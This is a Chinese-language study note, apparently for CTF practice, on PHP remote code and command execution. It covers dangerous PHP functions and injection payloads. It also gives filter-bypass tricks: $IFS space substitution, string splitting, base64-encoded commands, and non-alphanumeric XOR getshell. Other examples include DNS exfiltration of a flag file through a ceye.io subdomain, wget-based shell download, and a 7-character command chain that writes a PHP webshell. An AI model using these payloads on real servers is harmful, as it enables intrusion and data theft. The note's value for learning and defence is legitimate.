1. RCE
RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
远程系统命令执行
一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。
如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而让后台进行执行，从而控制整个后台服务器。
现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此，如果需要给前端用户提供操作类的API接口，一定需要对接口输入的内容进行严格的判断，比如实施严格的白名单策略会是一个比较好的方法。
远程代码执行漏洞
php中常见的远程代码执行漏洞函数有
代码注入
- eval()
![]()
传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此，eval() 里任何的变量定义、修改，都会在函数结束后被保留。
- assert()
![]()
- call_user_func()/call_user_func_array()
![]()
可以传递任何内置函数或用户自定义函数，除了语言结构如array(),echo(),empty(),eval(),exit(),isset(),list(),print(),unset()
- create_function()
![]()
- usort()/uasort()
![]()
例如：
?1[]=phpinfo()&1[]=123&2=assert
usort($_GET[1],'assert');- ${php代码}
例如：${phpinfo()}; - ob_start()
![]()
命令执行
- system()
![]()
- exec()/shell_exec()
![]()
- passthru
![]()
- ``运算符
远程命令执行的绕过
命令执行的分隔符
例子：system("echo ".$_GET[1]);
空格代替
- <符号
- $IFS(好像有问题)
- ${IFS}
- $IFS$9
- %09用于url传递
- cat</flag
绕过
- a=l;b=s;$a$b
echo d2hvYW1p|base64 -D- linux命令中可以加，所以甚至可以cat /flag
- 'l's同上
命令执行的各种符号
使用env命令查看本地变量，expr substr来截取需要的字符，拼接成命令执行
例如：
echo "${PATH:0:1}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo $(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1
命令有无回显
判断
- 延时
例子：ls;sleep 3 - http请求/dns请求
http://ceye.io/payloads
利用
- 写shell(直接写入/外部下载)
wget
- http/dns等方式带出数据
需要去掉空格，可以使用sed等命令
如：echo cat flag.php|sed s/[[:space:]]//.php.xxxxxx.ceye.io
可控字符串长度受限
15个字符
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
mv 1 1.php7个字符
思路：
1、命令+>文件名可以生产文件(命令可以为空)
2、ls -t可以将文件按时间顺序排列
3、sh命令可以执行sh脚本
4、base64命令可以避免特殊字符
5、可以分行输入命令
w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh
无数字字母getshell
- 思路：异或、取反
- 例子：
$_='<>]=@^<'^'[[){,?[';//$_='getFlag'\n
$_();//getFlag()